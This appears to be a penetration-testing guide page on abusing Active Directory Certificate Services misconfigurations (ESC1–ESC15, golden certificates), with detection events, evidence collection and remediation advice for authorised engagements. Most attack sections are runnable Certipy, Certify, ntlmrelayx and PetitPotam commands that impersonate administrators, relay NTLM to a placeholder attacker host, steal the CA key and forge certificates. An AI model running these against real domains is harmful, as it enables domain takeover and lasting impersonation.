14 min read

Exploitation

ADCS Attacks

Exploit Active Directory Certificate Services misconfigurations to escalate privileges, forge certificates, and establish persistent access to domain resources.

Danger

Scope boundary for this page. A certificate is an identity, and these techniques mint identities. Enrolling for another account's SAN, editing a template, or backing up the CA key are all acts of impersonation against the client's PKI, and the artefacts outlive the engagement by design — a golden certificate stays valid for the template's lifetime. Confirm the Rules of Engagement authorise certificate enrolment and template changes, record every serial you obtain, and agree the revocation list before you start, not after.

Tool Installation

Certipy

Python ADCS toolkit

pip install certipy-ad

Certify

C# ADCS tool

github.com/GhostPack/Certify

ForgeCert

Forge certificates

github.com/GhostPack/ForgeCert

PassTheCert

PKINIT authentication

github.com/AlmondOffSec

ADCS Enumeration

Find Certificate Authorities

find-ca.sh
# Certipy - Find vulnerable templates
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Certify - Enumerate from Windows
Certify.exe find
Certify.exe find /vulnerable
Certify.exe find /enrolleeSuppliesSubject

# PowerShell - Find CA
certutil -config - -ping
Get-ADObject -Filter 'objectClass -eq "pKIEnrollmentService"' -SearchBase "CN=Configuration,DC=corp,DC=local"

ESC1 - Misconfigured Certificate Templates

ESC1 allows low-privileged users to request certificates for any user by specifying an alternate Subject Alternative Name (SAN).

Information

Vulnerable conditions: Template allows enrollment by low-privileged users + ENROLLEE_SUPPLIES_SUBJECT flag enabled + Certificate can be used for authentication.
esc1.sh
# Certipy - Request certificate as Domain Admin
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Certify - Request from Windows
Certify.exe request /ca:CORP-CA /template:VulnTemplate /altname:administrator

ESC4 - Vulnerable ACLs on Templates

If a user has write access to a certificate template, they can modify it to enable ESC1.

esc4.sh
# Check template ACLs
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Modify template to enable ESC1
# Add ENROLLEE_SUPPLIES_SUBJECT and change EKU to Client Authentication
certipy template -u user@corp.local -p 'Password123' -template VulnTemplate -save-old

# Now exploit as ESC1
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

If the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, any template can be used for privilege escalation.

esc6.sh
# Check if flag is enabled
certutil -config "CA_NAME\CA" -getreg policy\EditFlags

# If enabled, exploit any template
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template User -upn administrator@corp.local

ESC8 - NTLM Relay to HTTP Endpoints

Relay NTLM authentication to AD CS Web Enrollment endpoints to obtain certificates.

esc8.sh
# Start ntlmrelayx targeting web enrollment
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Trigger authentication (e.g., PetitPotam)
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP

# Use obtained certificate
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10

ESC9 - Template Without the SID Security Extension

A template can set CT_FLAG_NO_SECURITY_EXTENSION (0x80000) in msPKI-Enrollment-Flag, which stops the CA adding szOID_NTDS_CA_SECURITY_EXT — the extension that carries the requester's SID and lets a DC map a certificate to an account under strong binding. The KDC then falls back to the UPN or DNS name in the SAN, so whoever can write one account's userPrincipalName can choose the identity the certificate resolves to: point it at administrator, enrol, put it back, authenticate.

Information

Precondition: the DC must still run StrongCertificateBindingEnforcement at 0 or 1 (compatibility). Full enforcement (2) rejects a certificate with no SID — except when ESC9 is combined with ESC6, where the CA lets you inject the target's SID into the SAN as a URL and the mapping succeeds anyway.
esc9.sh
# 1. Flag it: "Enrollment Flag: NoSecurityExtension" on a client-auth template
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# 2. GenericWrite over svc-web: rewrite its UPN, then enrol as svc-web
#    (svc-web's ccache is the usual missing piece - shadow credentials gets you one)
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn administrator update
export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 10.10.10.10 -ca CORP-CA -template NoSecExt

# 3. Revert the UPN before you authenticate
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'svc-web@corp.local' update
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -username administrator -domain corp.local

ESC10 - Weak Schannel Certificate Mapping

ESC10 is the same UPN trick aimed at Schannel instead of the KDC. If a DC's CertificateMappingMethods value under HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel includes the 0x4 (UPN) bit, LDAPS maps a client certificate by the SAN UPN and ignores the SID extension that says the certificate belongs to somebody else. Set a controlled account's UPN to dc$@corp.local, enrol for a client-auth certificate, revert, and the DC answers as CORP\DC$.

Warning

Certipy cannot detect this one. CertificateMappingMethods lives in the DC's registry and reading it needs local admin, so certipy find only tells you which client-auth templates you can enrol in. Read the key by hand on every DC.
esc10.sh
# Requires write access to svc-web's userPrincipalName
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'dc$@corp.local' update
export KRB5CCNAME=svc-web.ccache
certipy req -k -dc-ip 10.10.10.10 -ca CORP-CA -template User
certipy account -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -user svc-web -upn 'svc-web@corp.local' update

# Schannel logon over LDAPS: -ldap-shell reports the identity the DC mapped you to
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10 -ldap-shell

ESC11 - NTLM Relay to the CA's RPC Interface

ESC11 relays NTLM to the CA's RPC enrolment interface (ICPR) rather than its web endpoint. The CA accepts the relayed authentication unless IF_ENFORCEENCRYPTICERTREQUEST is set in its InterfaceFlags: without it, requests do not require RPC packet privacy, so a coerced machine account can be relayed straight into a certificate request. HTTPS and EPA do not cover this interface — ESC8's fix is not this fix.

esc11.sh
# find reports "Enforce Encryption for Requests : Disabled" for the CA
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Relay the coerced DC machine account to the CA's RPC endpoint
certipy relay -target 'rpc://10.10.10.50' -ca CORP-CA -template DomainController

# In a second terminal, trigger the authentication
python3 PetitPotam.py -u user -p 'Password123' -d corp.local ATTACKER_IP DC_IP

# Use the certificate the relay obtained
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10

ESC15 - Application Policy Injection on V1 Templates

Schema V1 templates have no Application Policies tab, and a CA that has not taken the November 2024 updates copies the Application Policies extension from the CSR into the issued certificate instead of validating it against the template's EKUs. Request a V1 template that also has enrollee-supplied subject, inject Client Authentication, and the certificate logs you in for an EKU the template never granted; inject Certificate Request Agent and you hold an ESC3-style agent certificate. Microsoft tracks this as CVE-2024-49019 (NVD 7.8, published 2024-11-12), and the fix is the CA update — the template still looks clean afterwards, which is why enumeration alone will not find an unpatched CA.

esc15.sh
# Prerequisite: a schema V1 template with EnrolleeSuppliesSubject, which Certipy flags as ESC15
certipy find -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Inject Client Authentication (1.3.6.1.5.5.7.3.2) into the CSR's Application Policies
certipy req -u user@corp.local -p 'Password123' -dc-ip 10.10.10.10 -ca CORP-CA -template WebServer -upn administrator@corp.local -sid S-1-5-21-...-500 -application-policies 'Client Authentication'

# Schannel honours the injected policy even though the template's EKU is Server Authentication
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell

Tip

If the CA cannot be patched immediately, certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.21.10 makes it ignore application policies supplied in a CSR, then restart CertSvc. That is a blunt control — test it against legitimate requests first, and treat the patch as the fix.

Golden Certificate

With access to CA private key, forge certificates for any user - similar to Golden Ticket but for PKI.

golden-certificate.sh
# Extract CA private key (requires DA or CA admin)
certipy ca -backup -u admin@corp.local -p 'Password123' -ca CORP-CA

# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

# Authenticate with forged certificate
certipy auth -pfx forged.pfx -dc-ip 10.10.10.10

Detection & Blue Team

Certificate abuse is quiet because the artefacts are legitimate: every step below is an event a healthy PKI also produces. What separates an attack is the pairing — a low-privileged user requesting a certificate whose subject is a privileged account, or a certificate logon for an account that normally uses a password. Log the CA, the template objects and the DCs' Kerberos events, or the chain is invisible.

Signal Event / artefact What it catches
Enrolment request 4886 (Certificate Services) A request naming a SAN that is not the requester — the ESC1 signature. The SAN itself is in the request attributes.
Certificate issued 4887 A certificate for a privileged identity issued to an ordinary user or machine account.
Template modified 4899 + 5136 on the template object ESC4: a template edited to allow a supplied subject, or its EKU changed to client authentication. ESC9: the same object's msPKI-Enrollment-Flag gaining NoSecurityExtension.
Certificate logon 4768 (PKINIT) then 4769 An account authenticating with a certificate where it normally uses a password, especially from a new host.
CA policy changed 4657 with a SACL on the CA's EditFlags ESC6 being enabled (or re-enabled) after you last measured it.
Web enrolment relay 4886 on the CA host, no preceding interactive logon ESC8: the CA's own IIS requesting a machine certificate on behalf of a relayed DC.
UPN rewritten 4738, then 4886, then 4768 or a 4624 type 3 over LDAPS ESC9/ESC10: an account's userPrincipalName changed to another account's name shortly before an enrolment and a certificate logon.
RPC enrolment 4886 with no matching request in the IIS log on the CA ESC11: a certificate requested through ICPR rather than certsrv.
Unearned application policy 4886 + the issued certificate's policy extension ESC15: a policy in the certificate that the template does not define — only possible on a CA missing the November 2024 update for CVE-2024-49019.

ESC Vulnerability Reference

Certipy 5.0.3 detects the full ESC1–ESC17 range, per its README. This page walks through ESC1, ESC4, ESC6, ESC8, ESC9, ESC10, ESC11 and ESC15 — the ones with a distinct misconfiguration and abuse command to show. The table adds ESC2, ESC3, ESC5 and ESC7 for reference, and the remaining five (ESC12–ESC14, ESC16, ESC17) are described in Certipy's wiki rather than here.

ESC Vulnerability Requirements
ESC1Enrollee supplies subjectTemplate enrollment + SAN flag
ESC2Any purpose EKUTemplate with Any Purpose or no EKU
ESC3Enrollment agent templateCertificate Request Agent EKU
ESC4Template ACL abuseWrite access to template
ESC5PKI object controlControl over PKI AD objects
ESC6EDITF flag enabledCA config allows user SAN
ESC7CA ACL abuseManageCA or ManageCertificates rights
ESC8NTLM relay to HTTPWeb enrollment without EPA
ESC9No SID security extensionTemplate drops the extension + weak DC binding mode
ESC10Weak Schannel mappingDC maps certificates by UPN + write access to a UPN
ESC11NTLM relay to CA RPCRPC encryption not enforced on the CA
ESC15Application policy injection (CVE-2024-49019)Schema V1 template with enrollee-supplied subject on an unpatched CA

External Resources

Practice Labs

Practice ADCS attacks in safe environments

Escape Hack The Box medium
ADCSESC1Certificate Auth
Certified Hack The Box medium
ADCSESC7Golden Certificate
Timelapse Hack The Box easy
Certificate AuthLAPS
AD CS TryHackMe hard
ADCS IntroESC1/ESC4

Evidence Collection

Certificate details: Template, SAN/UPN, EKU, serial number, validity and issuing CA for every certificate obtained. A .pfx on its own cannot be reviewed, cannot be revoked by the client, and cannot be shown to have expired after the engagement.

How it authenticated: The PKINIT 4768 and the service ticket that followed, naming the host that accepted the certificate. "Obtained a certificate for Administrator" and "authenticated as Administrator" are different claims.

The misconfiguration as found: The template's flags and ACL, or the CA's EditFlags, before you changed anything — and the restored value after, if ESC4 required an edit.

Revocation record: Which serials were revoked at the end and when. Certificates are valid for the template's lifetime by design, so the revocation list is the closure evidence.

CVSS range: ESC1 from an ordinary domain user to Domain Admin: 8.8 | ESC8 relay issuing a DC certificate: 9.8 | ESC15 / CVE-2024-49019: 7.8 as scored by NVD | Golden certificate (CA private key held): 9.8

False Positive Identification

  • An issued certificate is not an escalation: Most templates legitimately allow enrolment. The escalation needs three things together: an authentication EKU, requester-controlled subject/SAN, and a requester who should not hold that identity.
  • A writable template nobody can enrol in: ESC4 requires both the write and an enrolment right. Verify you can actually request a certificate before reporting the ACL as exploitable.
  • A certificate PKINIT refuses: Since the 2022 strong-mapping updates a certificate can be issued but rejected at logon when the account mapping is weak. ESC9 and ESC10 fail the same way where the DC enforces strong binding (StrongCertificateBindingEnforcement = 2) and Schannel does not allow UPN mapping — an issued certificate with no SID extension is not proof of escalation. That is a control working; report it as such, not as a failed attack.
  • ESC8 against a CA with EPA enforced: The relay fails at channel binding. The web endpoint being present is a prerequisite, not the vulnerability.

Testing Checklist

Every ESC on this page has two facts: the misconfiguration as found, and the certificate that was issued because of it. A third decides whether it is an escalation - whether PKINIT accepted the certificate.

Find and abuse the misconfiguration

  • ☐ certipy find -vulnerable or Certify.exe find /vulnerable enumerates the CA and names the template, with the flags that make it vulnerable.
  • ☐ Each ESC claimed is proved by an issued certificate whose SAN or UPN you can name - enrolment alone is not escalation.
  • ☐ certipy auth -pfx returns a TGT for the target account, or the rejection (strong mapping, wrong EKU) is reported as a working control.
  • ☐ The CA's transport is tested per ESC: HTTP endpoint for ESC8, RPC interface for ESC11, and the result decides which of the two claims is made.

Prove the result and close it out

  • ☐ For ESC4, the template ACL is captured before and after your edit and restored; a writable template you cannot enrol in is not exploitable.
  • ☐ ESC9, ESC10 and ESC15 claims are checked against StrongCertificateBindingEnforcement and the CA patch level before they are written up.
  • ☐ A golden certificate is proved by authenticating with it, and the source of the CA private key is recorded.
  • ☐ Every certificate issued is revoked at the end, and the serial list is in the notes.

Remediation

Templates

  • • Remove ENROLLEE_SUPPLIES_SUBJECT from every template that does not have a written reason for it, and require manager approval where the subject must vary.
  • • Restrict enrolment ACLs — a template that "Domain Users" can enrol in and that allows a SAN is ESC1 by definition.
  • • Run certipy find -vulnerable on a schedule and treat the output as a recurring control check, not a one-off assessment.
  • • Clear CT_FLAG_NO_SECURITY_EXTENSION from templates that do not need it, and set StrongCertificateBindingEnforcement = 2 on the DCs — the two together close ESC9.

CA and transport

  • • Disable HTTP certificate enrolment, or enforce HTTPS with EPA; that single change removes the ESC8 relay destination.
  • • Limit ManageCA and ManageCertificates to named PKI administrators, and keep the CA private key on an HSM or offline.
  • • Alert on 4886/4887 enrolments for privileged SANs, 4899 template loads, and 5136 on certificate template objects.
  • • Set IF_ENFORCEENCRYPTICERTREQUEST on the CA and patch it for CVE-2024-49019 — EPA and HTTPS close ESC8 but do not touch the RPC interface, and no template audit finds an unpatched CA.